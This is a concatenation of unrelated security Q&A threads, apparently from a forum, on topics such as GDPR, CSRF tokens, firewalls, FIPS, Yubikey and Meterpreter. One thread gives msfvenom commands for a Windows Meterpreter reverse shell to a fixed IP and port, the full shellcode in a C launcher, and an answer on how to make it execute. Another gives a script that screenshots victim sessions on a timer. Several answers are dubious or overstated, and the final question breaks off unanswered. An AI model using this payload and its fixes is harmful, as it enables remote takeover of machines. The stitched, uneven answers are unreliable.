GDPR is not voluntary, it is mandatory for any business and institution that operates in the EU. There is not an official agency that would certify that a business is GDPR-compliant (I think this is even unfeasible as that would constraint how a business operates because an audit would be required for any minimal change in the business). But there are plenty of companies offering their services to become GDPR-compliant. Whether a business wants to advertise such compliance to its customers and whether the customers trust that is up to either party.

For your example of a website and app that does not store PII. If you have a website, you are already processing PII (the IP address for example), so you should not state that easily that you are not processing PII because it is likely that you are in probably most cases (at least, according to the GDPR, or if you prefer in the EU).

In US I cannot answer as I do not know the applicable legislation in detail, hopefully someone else can shed some light to it.


Is the same browser equally safe on a different OS? For example: is Chrome installed on Linux more prone to a hack (stealing logins/passwords, installing add-ons, changing something in browser...) than Chrome installed on Windows?

(I do realize that Windows is much more favorable target for intruders and considered a less secure system)

This also depends on the implementation and programming of the browser. If a cross-platform solution was used, then the browsers might be the same across multiple platforms (leaving OS vulnerabilities aside). But if the browser was natively developed for every platform, then the chances are high, that each platform dependent version has its own weaknesses.


Generating session CSRF token based on SSL session ID Following situation:

Application is only accessible via HTTPS/SPDY
nginx is sending the SSL session ID to the upstream server
Upon session start I'd like to use the first 128 characters of that string
In PHP: $csrf_token = substr($_SERVER["SSL_SESSION_ID"], 0, 128);
The CSRF token is stored on the server in the user’s session and a new token will be generated if a new session is generated

My question(s):

Is this approach secure (enough)?

This question is regarding the usage of the SSL session ID and not related to the usage of session based CSRF tokens!

Would it be possible to use less characters (e.g. 32)?
Should I add some sort of secret salt to it?
Anything else that might be a problem with this?

You can do this but the moment your app grows larger and needs ssl offloading it will break. Also take care about the length as you are exposing a part of the ssl session id which is responsible for protecting your CIA. If you would take a too large part of the Id or all of it and an attacker would be able to get it through xss, it could also break your ssl session.

Please don't be a dave.


Buffer overflow exploit works with gdb but not without I am learning about buffer overflows and I’m developing my very first exploit.

There is a server process that listens to a socket and forks a new process for each client. The child process has a buffer overflow vulnerability which I’m exploiting.

My exploit works if I start the server using gdb, however I get a segfault when the exploit code is run if I simply start the server with no gdb.

My question is - does gdb automatically deactivate some protection mechanisms, like aslr/stack protection etc? What would be a possible explanation of this behaviour?

I have compiled the server with -zexecstack -fno-stack-protector , I still can’t exploit it without gdb.

This is on debian x86.
By running the server with gdb I mean I run ‚gdb server‘ and then just type ‚run‘ in the gdb console, no breakpoints or anything else. This way my exploit is successful (makes a curl request to my server)

GDB uses a debugging hooks + it's intended to use a debug symbols and handle them, and it alters actual behaviour. So - it's clear that some artifacts will show up for sure


Is Sublime plugin FTPSync secure? I use Firefox plugin FireFTP which stores FTP credentials in encrypted files. Sublime plugin FTPSync seems to store FTP credentials in a regular file. Does that make it unsafe to use?

In general, FTP isn't that safe to use. It is way to easy for hackers to hack into your server, and then they can delete your files, change them, and/or steal them. They could even get information to access your database too! I recommend that you turn off FTP on your server right away.

Instead, try using a program like Winscp. You can use SFTP, which stands for Secure File Transfer Protcol. Then you can transfer your data between you and your server through an encrypted connect.


Is this token based web service secure? Note: Original question asked at https://stackoverflow.com/questions/24012390/is-this-token-based-web-service-secure but here seems to be the right place for it.

The company that I current work for has an internal application, it provides some RESTful (sort of, just a collection of URLs) APIs. To access the APIs outside of the company network would require an HTTPS connection and a token (if accessing within the company network, no restriction is applied).

To call an API, the caller (another internal application or employee) will need to create a token by something like this:

Sort the URL parameters
Hash part of the sorted URL with a salt (global constant)
Use a substring of the hash as the token
Append that token as a parameter in the URL and send the request

The server will perform the same algorithm on the original URL, if the token comes out the same, the request is considered authenticated.

I am no security expert, but this feels wrong to me, but I can't fully explain why. So I'm asking for help from the security experts, what are problems you see here? Or am I being too paranoid?

Thanks.

This provides zero authentication of the individual calling or the authenticity of the original call making it through to the server.  This may have been intended as a way to verify the request had not been altered, but unless it is actually forming a signature rather than a hash, then this provides no security.

If the hash is signed, it becomes a secure way to authenticate the parameters of the request are authentic as the hash allows verifying that parameters have not changed and the signature prevents an attacker from generating their own hash to match false parameters.


Block all internet access from a computer except for allowed applications and domains? I want to block all internet access from a computer except for allowed applications and domains.

E.g.
BLOCK ALL
Except security.stackexchange.com/...
Except skype.exe

How can I do this?
-It needs to be a software solution on the computer
-The security needs to be password protected (requirement of windows admin right to change anything would be sufficient password protection)

Please try to give a detailed answer as I don't know anything about ports and some other expressions that I came across when googleing this. The computer currently has Windows firewall installed but I can install another more customizable firewall if that is needed.

This is very simple- use a firewall with a deny all rule, and then add specific allow rules for the domains and ports you want to allow.

For example, for website access all you want to allow are ports 80 and 443 for that website, as normal website access is on those ports.

As Mark commented, you will need to learn about ports and how connections are made. If you do not yet understand these basic terms, you will not be able to rely on your controls.


Why do infected hosts scan port 80? I have my serve set up with AbuseIPDB so I can keep a log of all suspicious request and hacking attempts for my honeypot machine. I noticed an IP that sent a GET request to port 80.
177.154.28.130 - - [07/Jan/2021:12:07:20 -0500] "GET / HTTP/1.1" 200 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
I had a look at the other requests and noticed the IP with attempting to connect to telnet ports, typical behavior of an infected host. Why did this IP send a request to / on port 80? How does this help the botnet grow?
I'm not interested in preventing this as these connections occur on a honeypot machine, I'm curious as to why they happen in the first place.

What you observe is part of an initial information gathering, i.e. check what kind of services are running, what software might run on these services etc. Based on this it can be decided if the target might be vulnerable for exploiting and which exploits to try.

... the IP with attempting to connect to telnet ports, typical behavior of an infected host

Connecting to telnet ports is not necessarily a typical behavior of an infected host but can easily be done from a system which is not infected. Checking if telnet works is also part of information gathering.


SSL decryption in Wireshark Is it possible to decrypt SSL traffic in Wireshark if you do not have the server certificate?

I making some tests with SSL and Wireshark and people out there claim that Wireshark only decrypts SSL if the certificate is provided.

But isn't SSL certificate provided to the client when he connects?
So basically someone could just capture the SSL certificate and perhaps use it maliciously?

To decrypt you need the private key. The server's certificate, sent as part of the initial steps of the SSL connection (the "handshake"), only contains the public key (which is not sufficient to decrypt). Some people call "certificate" the union of the certificate and its private key, while some others (like me) say "certificate" only for the public part (as per X.509), hence an endless stream of confusion.


Can I use a single permanent session ID for all of a users devices? I am working on a project where users can post. When a user logs in and the password is correct, it logs them in and checks the database. If they have a session id, it returns it, if not, it creates a new session id and returns it. If they log in again somewhere else such as their phone it does the same; if a session id exsits it returns the session.

My question is, is this secure? Should each device they log in with have a seperate session id? The only time I delete the session id is when the password is changed.

TL;DR: No, not secure.

Having a separate ID for each device is important, because if you give them the same one, there is nothing stopping the device from remembering it after the user logs out.

More importantly, only changing the session ID when the users changes password is catastrophically bad. The ID can be stolen much more easily than a password. Sessions should have expiration, otherwise special consideration have to be made, for example allowing users to sign out from devices they no longer have access to.

PS: I also assume your session ids are random. If they are sequential, you also need some sort of token/secret to authenticate, otherwise an attacker may just go through all ids and grab data. Note that using random IDs may be preferable, as attackers still may get some information, like number of registered users, if the IDs are not random. You can use secret in addition to random ID as well, can't hurt and may help, so why not?


Storing two copies of data, encrypted in different ways Our website has some personal data that needs to be visible to both the user it belongs to and the administrators. It also needs to be encrypted.

As we want to maintain a simple system, just username and password logins, we felt the best method to do this was to encrypt and store it twice, once using the user's password (AES or similar symmetric system) and once using PGP with a public key we are already using in the system for other data.

Does storing this data encrypted in multiple ways pose a significant security risk? Does it make the data easier to recover by an attacker? Is there a better manner of achieving this while maintaining the transparency of the encryption to the end user?

An attacker now has the advantage to be able to choose which crypto system he wants to break. It's enough to find a weakness or implementation error in either one. As for you this adds the responsibility for keeping two systems equally safe.

If we assume that you do that correctly, I can't see any significant advantage for an attacker...


Security issues for host system when running a home web server on a VM I want to run a web server at home (really for the fun and learning of web/network and other security best practices), running a web app that I plan to write with Ruby on Rails and be able to access it from outside. I plan to run it on a Linux VM + Apache web (want to install from scratch, again for the fun of it) server running in virtual box/VMWare on my Mac.

I understand I need to forward ports (plan to forward 80 to 8080 or some other unprivileged port, no other port opened from my router), potentially get dynamic DNS etc to be able to access it reliably etc, and am not worried about getting it connected to the outside world.

I have read articles and resources on hardening the Apache webserver. I plan to try and follow best security practices to mitigate common threats (XSS, CSRF, SQL injection etc) for the webapp itself (using Ruby on Rails security guide which I think is a pretty good starting point).

Since I'm running it on a VM, is there a way for somebody to hack/hijack the webserver/web app to control my host machine (I don't care if they control the VM since this whole thing is for learning)?
What extra precautions do I need to take to protect my host machine? Or is it simply better to get a separate system just to run the webserver?
Also what extra protection can I add in my VM to prevent it from getting hacked in the first place (firewalls, intrusion detection like snort?)
If the VM or dedicated webserver machine is taken over, how does it affect my local/LAN network security? How can I mitigate the threat?
Is it safer to create a VM, create a web server accessible only through a VPN inside the VM, where the VPN server is sitting inside the VM, and create VPN logins through which the web server can be accessed? Similar or exactly the same as how you have a corporate intranet? I assume I will run OpenVPN as a unprivileged user and not sure if I can make it listen on unprivileged ports.

I have read the authentication wiki and other related posts on Stack Exchange such as vulnerability of other systems if one system is compromised on the network etc, but still felt the need to ask the question.

You dont have much to worry about regarding having your VM hijacked to attack the host of all the possible attacks thats really near the bottom of the list. Your outline above is pretty solid and would deter the majority of attackers (barring bots who will just hammer your system).

If you want to throw an ips on there, check out snort (its fantastic).

In the event your VM is taken over and DOES start attacking your host system all you'll need to do is wipe it and start fresh, of course you should have your code in a revisioning system so you dont lose it all (i like github, but bitbucket offers free private code hosting). As for it being able to attack the rest of the things on your network, it depends on how youre networking on the host OS is configured, you can have it bridged, or have it behind a private NAT; I vote for the NAT'd method as long as you can get your ports forwarded.

I think that covers your questions, let me know if you need any clarification.


How to disable weak cipher suits in java application server for ssl I have a custom Java application server running. I am seeing that there are some weak cipher suites supported by the server, for example some 112-bit ciphers. I want to disable those. Where can I do that? Also, I want to enable TLSv1.2. The following is the code to initialize the socket:

    KeyStore ks = KeyStore.getInstance("JKS");
    ks.load(new FileInputStream(sslstore), sslstorepass.toCharArray());
    KeyManagerFactory kmf = KeyManagerFactory.getInstance("SunX509");
    kmf.init(ks, sslcertpass.toCharArray());

    SSLContext sc = SSLContext.getInstance("TLS");
    sc.init(kmf.getKeyManagers(), null, new SecureRandom());
    SSLServerSocketFactory ssf = sc.getServerSocketFactory();
    serverSocket = ssf.createServerSocket(port);

    System.out.println("Socket initialized");

JAVA allows cipher suites to be removed/excluded from use in the security policy file called java.security that’s located in your JRE: $PATH/[JRE]/lib/security  The jdk.tls.disabledAlgorithms property in the policy file controls TLS cipher selection. The jdk.certpath.disabledAlgorithms controls the algorithms you will come across in SSL certificates. Oracle has more information about this here.

In the security policy file, if you entered the following: jdk.tls.disabledAlgorithms=MD5, SHA1, DSA, RSA keySize < 4096 It would make it, so that MD5, SHA1, DSA are never allowed, and RSA is allowed only if the key is at least 4096 bits. As for forcing TLS versions, this depends on your operating system (Linux, Solaris, Windows, BSD, etc), server (Apache, IIS, other)


What is the solution to Schneier's Law? Schneier's law (which should probably be called Babbage's Law). States that:

  Anyone, from the most clueless amateur
  to the best cryptographer, can create
  an algorithm that he himself can't
  break.

I think its clear that this law can be applied to any security system,  not just cryptography.  What are some good methodologies for addressing this law?

"Addressing" that law, strictly speaking, means suing God for creating mankind with limited brains. There is little to do here, except to be aware of the difficulty of assessing the security of a security system: namely, that you cannot assess the security of your own creation. One way to say it is the following: if you cannot break your own system, then you are not demonstrating that it cannot be broken, only that you do not know how to break it. Which is not what you want: the goal is to have a system that potential attackers do not know how to break.

So the normal guideline is to never design your own cryptographic algorithm or protocol. A trained cryptographer can amend that into: "I can design my own algorithm variant but only if I can positively prove that I am not adding any extra weakness". Not being able to exhibit such a weakness is not a proof of absence of any weakness.


What risks are introduced by the browser passing the "referer" to the next site visited from a link to another domain? As of today, I believe every major browser will by default reveal to a third-party site which site I came from, and more specifically, the exact URL I came from.

What are the privacy implications of the "Referer" being shared, and is this a violation of cross-domain policy?

I'm asking this in the context of a recent news story whereby URLs supposedly known only to the website provider and its user were leaked to third parties. To forestall any objections that URLs aren't private enough, let's just imagine a variant of HTTPS which doesn't encrypt the URLs "because they aren't supposed to be private".

Because when computer scientists came up with HTTP protocol back in the early 1990s, they thought it was a worthwhile to include a referer field (note they even misspelled the English word referrer), so you can track who is linking to your webpages -- maybe you want to reciprocate and link back.

It is only sent if you follow a link somewhere; e.g., if you copy or type a new URL in the address bar, the HTTP Referer field will not be sent.  You should note that many [all?] browsers will still send the referer field even when you are private-browsing, because otherwise they may break websites that check against the referer field.

The same-origin policy that restricts cross domain requests only refers to restricting accessing the DOM, specifically to protect cookies and javascript from being able to control someone else's page unless specifically allowed.


How to use YubiKey through GnuPG on remote server? I'm wondering if it is possible to use a Yubikey to unlock for example a GnuPG key on a server, so can I somehow pass the generated token from the YubiKey over SSH to the server in an easy way?

GnuPG does not make use of any tokens generated by the Yubikey, but the stick implements the OpenPGP smart card protocol instead. The keys are stored on the YubiKey, which performs all public/private key cryptographic operations. The special protection is based on the fact that the keys never can leave the YubiKey, so an attacker could at most make use of the key (temporarily, as long as he has access to the unlocked stick), but not completely get hold of it.

GnuPG has a feature called agent forwarding. It mostly boils down to configure gpg-agent to provide a special, extra socket only used for specific operations:

extra-socket /home/<user>/.gnupg/S.gpg-agent.extra

Then, configure SSH to forward all communication on the socket to the remote server:

RemoteForward /home/<user>/.gnupg/S.gpg-agent /home/<user>/.gnupg/S.gpg-agent.extra

More explanation including some hints on nitpicks is available in the wiki page linked above.


How to apply FIPS to Microsoft Access database with custom VBA As the software engineer on a project, I have been asked to make a Microsoft Access application, with custom interfaces running custom VBA. That part is going just fine. Recently though I was asked to ensure that my Access application complies with FIPS 140-2. The deployment and maintenance of this application will be handled by another partner company, they are the ones asking for FIPS compliancy.

I have read the documentation for FIPS 140-2 and I understand its purpose. Level 1 FIPS compliance is all that is required in our situation. I have written a module in VBA to hash the passwords with SHA-1 used for logging into the application. SHA-1 is on the list of FIPS 140-2 approved algorithms.

My question is, what else does a software developer have to do to ensure FIPS 140-2 compliance, and how much falls in the shoulders of the contractor deploying the application on their systems?

The Access application is split, so the back-end file will live on a network share and regular users will only have access to the front-end file. I suppose both the back-end and front-end files could be encrypted, but that seems to be part of the deployment process.

As the software developer, you need to ensure that not only the chosed encryption standard is FIPS compliant, but also the cryptographic module used. AES for example is FIPS 140-2 approved as a method, but the actual implementation of the Rijndael algorithm on Windows Server 2008 [not R2] is not approved (and is therefore not FIPS compliant ... you'd have to use 3DES or something else).

For completeness, the complete list of validated modules are available here: http://csrc.nist.gov/cryptval/140-1/140val-all.htm

To ensure FIPS compliance you'll also want the system that this is running on to enforce FIPS. On a windows system this is under the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy

Change the DWORD value of ENABLED to 1. As a developer you'll want to test in this mode.

Ensuring that the communication channels and that the server/workstation/etc. running the application are FIPS compliant will be part of the deployment process where there is little that you can do should a separate contractor be working the installation.


How do services with high uptime apply patches without rebooting? How are critical security updates installed on systems which you cannot afford to reboot but the update requires a reboot. For example, services/businesses that are required to run 24x7 with zero downtime, e.g. Amazon.com or Google.

There are various utilities in different operating systems which allow hot-patching of running code. An example of this would be kpatch and livepatch features of Linux which allow patching the running kernel without interrupting its operations. Its capabilities are limited and can only make trivial changes to the kernel, but this is often sufficient for mitigating a number of critical security issues until time can be found to do a proper fix. This kind of technique in general is called dynamic software updating.

I should point out though that the sites with virtually no downtime (high-availability) are not so reliable because of live-patching, but because of redundancy. Whenever one system goes down, there will be a number of backups in place that can immediately begin routing traffic or processing requests with no delay. There are a large number of different techniques to accomplish this. The level of redundancy provides significant uptime measured in nines. A three nine uptime is 99.9%. Four nine uptime is 99.99%, etc. The "holy grail" is five nines, or 99.999% uptime. Many of the services you listed have five nine availability due to their redundant backup systems spread throughout the world.


Why doesn't changing the PIN affect recorded data on magnetic card? I was reading Breaking VISA PIN by L. Padilla. He stated that changing the PIN will change the stored data on the card. But, I tried on several cards and changing the the PIN does not affect the data stored on tracks 1 and 2.

How can I interpret that?

Is there any way to extract PIN from these data?

Here is some sample data:

Track1:
  PAN:6104XXXXXXXXXXXX
  Expiration date:1608
  service code:100
  Discretionary data: 91516084076901530
Track2:
  PAN: same as track1
  Expiration date:1608
  service code:100
  Discretionary data:9154177591894

Using another reader:

;6104XXXXXXXXXXXX=16081009154177591894?

In the past they may have encoded the PIN on the card, however hopefully (as your test indicates) they have stopped. It looks like the article that you cite is from 2009, which is rather out of date.

As to why they should not encode the PIN onto the card take a look at the NIST Special Publication 800-63-2, the Electronic Authentication Guideline. In the case of Multi-Factor authentication it should consist of a combination of "Something you know, something you have and something you are". For a card and PIN system you have something (the card) and know something (the PIN). If you encode the PIN onto the card then you only have something, which is single factor authentication and is not as secure.

If you are interested in the security of PINs in credit cards you can take a look at: https://www.pcisecuritystandards.org/documents/PCI_PIN_Security_Requirements.pdf.
This is the PCI requirements for securing PINS.

As for the differences in the Discretionary Data these may come from several sources. From ISO/IEC 7813 the maximum record length of track 1 and 2 are different. The DD is used to fill the balance of characters.

For Discretionary Data the implementation is left up to the issuing company. As to what it might contain you may be able to find out by looking at the documentation from the issuing company (I rather doubt you will find anything but stranger things have happened). It may just be random padding to reach the proper length or it could contain additional data. See https://stackoverflow.com/questions/12239855/discretionary-data-from-magnetic-strip-credit-card-how-to-parse.


Executing a msfvenom shellcode in C program This is obviously for educational purposes. I've been interested in learning more about malware and how it works.

I'm trying to get a meterpreter reverse tcp shell working on windows 10 but more importantly executing it as shellcode from within a C program.

I've tested that my meterpreter reverse shell works by generating a standalone PE with:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f exe -o reverse_shell.exe

When I execute this on my windows 10 VM, no problem, a session is opened.

Now, what I'd like to do, is execute msfvenom produced shellcode from within a c program.

To obtain the shellcode I'm using:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.228 lport=4444 -f c

My c source looks like this:

#include <stdio.h>
#include <stdlib.h>

char shellcode[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\xe4\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";

int main (int argc, char **argv) {
  int (*ret)() = (int(*)())shellcode;
  ret();
}

And I'm cross compiling on kali linux with:

x86_64-w64-mingw32-gcc rev_shell.c -o rev_shell.exe

Executing on my windows VM only yields me a crash in the form of: "rev_shell.exe has stopped working"

I am fairly new to c and the windows ecosystem but I assume that this sort of behavior could appear malicious. Is windows shutting down my execution? Is something wrong with my shell or c code?

As was mentioned in the comments, you have a couple of different problems:

You're using 32-bit shellcode in a 64-bit binary.  This will have problems because it is likely to refer to the stack pointer as esp instead of rsp, etc.  You should use the windows/x64/meterpreter/reverse_tcp payload instead, or produce a 32-bit binary (which will run fine on a 64-bit Windows system, as they have backwards compatibility).
Your code will be placed in the stack of the application, leading to DEP preventing it from being executable.  You'll need to VirtualAlloc memory that is both writable and executable and copy your shellcode into it before executing.  You don't need to create a new thread to just have it execute as the main body of your executable.  There's a great example of doing just this.


Windows GnuPG - GPG - Smart Card Status - Not Detecting Yubikey I have a Yubikey 4.  On a Windows 7 64 bit machine I installed Gpg4Win which includes GnugPG.  I was able to successfully import public keys.  I plugged in the Yubikey 4 and Windows correctly identified and installed the proper drivers.
However, issuing the ' gpg --card-status ' command results in:

gpg: selecting openpgp failed: No such device

gpg: OpenPGP card not available: No such device

This is strange behavior as I can see the Yubikey information using the Yubikey Personalization Tools (name, serial number, etc).

I have confirmed in Windows Services that "Smart Card" service is running.  I have also ran 'scdaemon.exe --server -v' and it says "smartcard server ready" and I also tried "gpg-agent --server -v" and it says "OK Pleased to meet you".  When I run the gpg --card-status command it doesn't reflect any verbose in those command prompts.

Any ideas on what would be causing this?  Yubikey personalization tools and neo manager can detect and read the Yubikey but GPG cannot.

EDIT:
I did the same steps on a different Windows 7 64 bit machine and it works (download gpg4win, import public keys, insert Yubikey and type in gpg --card-status and it loads stubs.   So this seems to be a local issue on the local machine, so what services or what tools exist to diagnose the issue on the original machine where it doesn't read the card (but Windows does).  I also tried opensc and it detects the Yubikey as well, but gpg does not.

I know this is a bit old thread, but since Google brought me here the 1st time I was searching the answer for this error message, I wanted to share a solution which worked for me.

My device has another smart-card reader. In the device manager I had to disable the other reader. Once it was disabled, gpg started to work properly. (You don't need to uninstall the device, and you can re-enable it when you want to use it)

Hope this helps someone.


Running HTTPS service on port 443 According to the Alexa Skills Documentation, I will get an unexpected communication issue if

The endpoint is not configured to accept traffic over port 443.

I'm trying to do this with my home router. Does this mean I need to change the port of my home router off of 443 to something else, and then launch an https webserver on port 443?

If you are running the service from your home then it will need to listen on port 443.  You will need to open this port on your allowed incoming traffic of your router.


What is the "derive" key usage? Google Chrome gives a lot of SSL information. Here is a screenshot:

Under "Key Usage", what does "Derive" mean?

It is not a Chrome popup; it is a MacOS X popup. Chrome delegates certificate management to the underlying OS. You get this popup only with Chrome on MacOS X (on Linux you will have the Gnome certificate viewer, on Windows the Windows certificate viewer).

The OS X certificate viewer shows the "Key Usages" which are defined in the "Key Usage extension" as specified in RFC 5280, section 4.2.1.3. This (optional) extension describe the usages for which the public key contained in the certificate may be used. OS X translates the combination of flags into a combination of "usage words" and there is not a 1-to-1 mapping. You get "Derive" when the keyAgreement key usage is specified (which is normal for a SSL server certificate with a RSA key); to get "Encrypt", you need either the dataEncipherment flag, or the combination of keyAgreement and keyEncipherment. keyEncipherment triggers "Wrap". You also get "Encrypt, Verify, Derive" if the key has type RSA and there is no Key Usage extension at all.


Effective blocking of SMB connections on AsusWRT I recently was attacked by some cryptolocker (not sure if it's WannaCry) and now I am revising my network policies. For reaching this aim I want to disable all SMB-activity for infected PC. Surprisingly, even doing all according to guidelines, my SMB-traffic is not blocked anyway.

I blocked ports 137,138 (UDP) and 139, 445 (TCP) on router level (AsusWRT), but I still can access target PC shares. Why?
The only measure that helped is stopping Server service on target PC.
Here is my firewall rule table concerning these two machines.

I wanna highlight, this is white-list table, so it denotes only connections that are allowed between Server (i.e. SMB-server) and Client (i.e. SMB-client).

As you can see, those ports are allowed on client.  Is it the reason that SMB traffic is flowing? Can we effectively block SMB only for one server, without affecting the client?

P.S. The server is Win8.1 Pro, the client is Win10 Pro Creators Update, both have 192.168.X.X addresses.

Most consumer routers have a single port that goes to the WAN and Four (or other) ports dedicated to the LAN. In the case of the AsusWRT it appears as though those four ports are switched and not routed, and therefore operate at layer 2 of the OSI model.

As the traffic between the WAN port and the LAN ports is routed, traditional firewalling is possible as this is occurring at layer 3. Traffic that originates on your LAN, and is destined for another computer on the LAN (and visa versa) does not travel through the firewall. It is therefore not possible to do what you're hoping to do at the network level and this firewalling should be done at the host level.

I see your comment stating that the logs say that all traffic is passing through the firewall, so I'd love to see those logs if you could amend your question but I highly doubt that your router is capable of layer 3 firewalling on those switch ports.


Meterpreter: How to invoke commands in a loop for each new connection I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the Windows clients.
Is there any straightforward way to realize dynamic handling of incoming connections?

Metasploit scripting supports Ruby, so you could build your workflow around something like...
<ruby>
while true
  run_single("screenshot")
  run_single("sleep 300s")
end
</ruby>


Does a File's Checksum Change after it is Digitally Signed? From my understanding, when you digitally sign a file, it changes that file's checksum because they are bundled together.

Example of what I mean:

  file1.txt only contains the letter 'd' and the crc32 checksum of this file is 98dd4acc. However, I want to digitally sign it using my certificates private key. After I digitally sign it, what is the hash of the file? Does it remain the same as 98dd4acc or does it change after its bundled with the certificate?

Am I right or wrong in assuming the checksum of the file will change? Is a digital signature not actually included in the file itself but instead included in the properties or something.

Thank you.

There are many possibilities.

Some file formats, like PDF as described by Keith, and Authenticode for Microsoft Windows executables, put the signature in the file but arrange for it not to cover itself, and perhaps not some other non-critical data as well.

Some file or message formats, like XMLdsig and optionally S/MIME CMS/PKCS7 and PGP, put both the data and the signature in a larger file structure so that they can easily be separated, the signature verified, and the data (without the signature) used. Java codesigning uses Java's JAR format, which is a slightly modified ZIP file: each class (or other resource) is an entry in the JAR file, the digests of all classes are listed in the manifest which is also an entry in the JAR file, and the signature of the manifest plus related certificate(s) are stored in two additional entries in the JAR file.

Sometimes people just put the signature in a separate file that is linked to the data file; S/MIME CMS/PKCS7 and PGP 'detached' signatures do this. For example, a software download site might have one file named superwondergizmo-1.2.3.tar and its signature in a file named superwondergizmo-1.2.3.tar.sig (or sometimes ...asc for 'armored' aka ASCII PGP). On modern Windows with NTFS it could make sense to use a supplemental stream to store the signature, but I've never seen anyone do so; similarly for MacOS with the resource fork; but those wouldn't usually work for transfer, which is often important nowadays.


Browser Fingerprinting to secure login Is it a good Idea to identify if the user logging in is the actual user who created the account by using Browser fingerprinting?

Basically do a bunch of checks just as they click sign in and if it doesn't match like 80% of all of the data then ask for some 2FA stuff.

I'm assuming this is similar to what Google does, they legally collect this data from you and update it whenever you're signed in.

Wondering if it's secure enough or is there a better way to identify users when they login? Because doing it via IP address isn't safe enough, same goes for user agent too, I got referred to browser fingerprinting but know little about it's security and want to know from experts.

This is a particularly user-friendly method for easier login from a "recognised" device. All of the options below apply together. E.g. user agent alone is not secure, but combine with IP address it's stronger. This would normally use:

User agent data (including screen resolution)
Timezone
Time check from IP address location and system time
Cookies
Is WebRTC enabled?
Does IP address and DNS server match?
Is JavaScript enabled?
Does the IP address have open ports? (for known proxies or VPNs)
Does the OS and Browser OS user agent data match?
Is the IP address residential or from a data center?

WhatLeaks covers most of these.

This method is implemented via PayPal and works quite well. You should be able to authenticate and login to PayPal, log out and attempt to log in again, you should not cause an email for unusual activity now. If this is the case, copy your browser user agent and cookies. Then place them onto another computer. You should not cause an email for "unusual activity". Like you said about "80%" matching, this can be applied here, if too many changes then, unusual activity email or SMS.

Is this method secure? Possibly, it does provide better protection than without and does stop most attackers. However, some become lackadaisical, treating it like a silver bullet, and then use weaker passwords, or opt-out of 2FA.


Is buying a Windows Phone a bad idea if Micosoft is scaling down its Windows Phone division? How secure is the windows phone in protecting against professional hackers? Is buying one a bad idea now that Microsoft is "scaling down" its mobile phone business (and perhaps devoting less resources to providing security fixes and updates, etc)? Should the lack of third-party security apps to be a concern, or is the OS so hardened that it isn't worth it?

Not worried about people with physical access to device, or NSA, or authorities, etc.

The Windows Phone 10 platform is the most secure of all of the current mobile platforms and the only one (last time I checked) that has no known external vulnerabilities (e.g. no way to break into a phone without the passcode).

I've been speaking to Microsoft regularly about the platform as we have over 4,000 WP10 devices deployed. The software continues to be actively updated but they seem to have had some issues with hardware channels. It is widely anticipated that there will be some announcements at Ignite at the end of the month and HP already announced a flagship device.

Windows Phone is actually pretty popular with enterprise and public sector customers, particularly in the EU. Helped by aggressive pricing and integration into the Windows platform.

It may be that part of the reason for scaling back on the division is that the platform is more unified than it has even previously been, hard to say for sure.

In terms of security, I have no current specific concerns beyond the usual mobile platform issues of rogue apps in the appstore. We are seeing very few security issues on the platform though that may be somewhat due to the limited market penetration.

As far as I am aware, there is no known malware currently for the platform and it has multi-layered security features described here including a hardware TPM chip. In addition, several WP devices have achieved FIPS140 and/or Common Criteria certification.

Microsoft's primary market right now for Windows Phone is government and large enterprises. What ever else you may think about them, they are very good at ensuring they protect these markets and so security features and certifications (for proof) are very much central to both their device and service strategies.

So I am not worried especially about the current state, the OS is clearly still under active development and is a key part of their Windows everywhere strategy so whatever other troubles it may have, I don't see it going away in a hurry and Microsoft are not going to compromise their key markets with poor security (well not deliberately anyway!) so that, at least, should be no barrier for continued adoption.

And no, I don't work for them!


Amazon AWS Kali - Metasploit I'm using the Amazon marketplace Kali and I'm trying to test CVE-2017-0199 to see if my proxy settings to block application/hta content are working.

